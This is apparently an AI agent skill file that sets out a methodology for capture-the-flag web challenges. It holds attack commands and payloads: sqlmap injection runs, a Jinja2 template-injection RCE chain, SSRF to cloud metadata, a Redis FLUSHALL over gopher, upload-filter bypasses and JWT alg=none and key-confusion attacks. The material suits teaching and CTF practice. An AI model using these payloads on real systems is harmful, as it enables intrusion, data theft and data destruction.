ctf-web
Use when solving a CTF web challenge — SQLi, XSS, SSRF, SSTI, IDOR, auth bypass, file upload, deserialization, prototype pollution, race conditions, JWT attacks. Provides a decision tree and tool stac
SKILL.md.claude/skills/ctf-web/SKILL.md
GitHubCTF web methodology
1. Recon (always)
# Always start with these — in parallel
curl -sI http://target/ # headers
run_tool("ffuf", "-w wordlist -u http://target/FUZZ") # dir bust
run_tool("gobuster", "dir -u http://target -w wordlist")
run_tool("whatweb", "http://target") # tech stack
nikto -h http://target # web scanner
Source view:
view-source:— comments, hidden inputs, JS files/robots.txt,/sitemap.xml,/.git/,/.env,/.DS_Storewappalyzer/whatwebfor stack — frameworks dictate attack class
2. Map the attack surface
For each endpoint:
- Method (GET/POST/PUT/PATCH)
- Parameters (URL, body, headers, cookies)
- Auth requirements
- Reflection points (does input echo back?)
- Storage points (does input persist?)
3. Decision tree by symptom
| Symptom | Likely class | Tool |
|---|---|---|
| Input echoed in HTML | XSS | manual + XSStrike |
| Error contains SQL | SQLi | sqlmap (registry) |
| URL parameter triggers fetch | SSRF | manual + gopherus for protocols |
Template syntax {{7*7}} → 49 |
SSTI | tplmap, manual jinja2/twig payloads |
| Numeric ID in URL/body | IDOR | manual enum + Burp Repeater |
| Login form, error tells "user not found" vs "wrong pass" | User enum | manual |
| File upload | Upload bypass | BurpSuite, manual extension/MIME tricks |
Cookie: with base64/JSON |
Cookie tampering | manual |
Authorization: Bearer eyJ... |
JWT | jwt_tool, jwt-cracker |
__proto__ or constructor accepted |
Prototype pollution | manual JS payloads |
| Race-prone action (claim, vote) | Race condition | turbo-intruder Burp ext |
| Java/PHP/Ruby with unsafe deserialize | Deserialization | ysoserial, phpggc |
4. Specific attack notes
SQLi
# Boolean-based, time-based, UNION
sqlmap -u "http://target/page?id=1" --batch --level=5 --risk=3 --dbs
# Cookie/header injection
sqlmap -u http://target/ --cookie="session=*" --level=5
# POST data
sqlmap -u http://target/login --data="user=*&pass=*"
SSTI
Identify engine first: {{7*7}} works in Jinja/Twig, ${7*7} in FreeMarker, <%= 7*7 %> in ERB.
Jinja2 RCE: {{ ''.__class__.__mro__[1].__subclasses__() }} — find subprocess/Popen.
SSRF
- Cloud metadata:
http://169.254.169.254/latest/meta-data/ - Localhost services:
http://127.0.0.1:port/ - Gopher for raw TCP:
gopher://localhost:6379/_FLUSHALLfor redis - DNS rebinding for filter bypass
File upload
Try in order: rename extension (.php → .phtml/.php5/.phar), MIME spoofing, double extension (file.jpg.php), null byte (file.php%00.jpg), magic byte prefix, .htaccess upload, polyglot (PHP-in-JPG).
JWT
jwt_tool <token> # decode + check
jwt_tool <token> -X a # alg=none
jwt_tool <token> -X i # weak HMAC
jwt_tool <token> -X k -pk public.pem # key confusion (RS→HS)
jwt-cracker <token> -d wordlist.txt # crack HMAC secret
5. Don't waste time on
- DDOS, brute-forcing rate-limited endpoints (CTF won't gate solves on that)
- Server fingerprinting beyond initial
whatweb(move on) - Custom HTTP clients — use
curlor Burp Repeater
After solve
Use the writeup-template skill.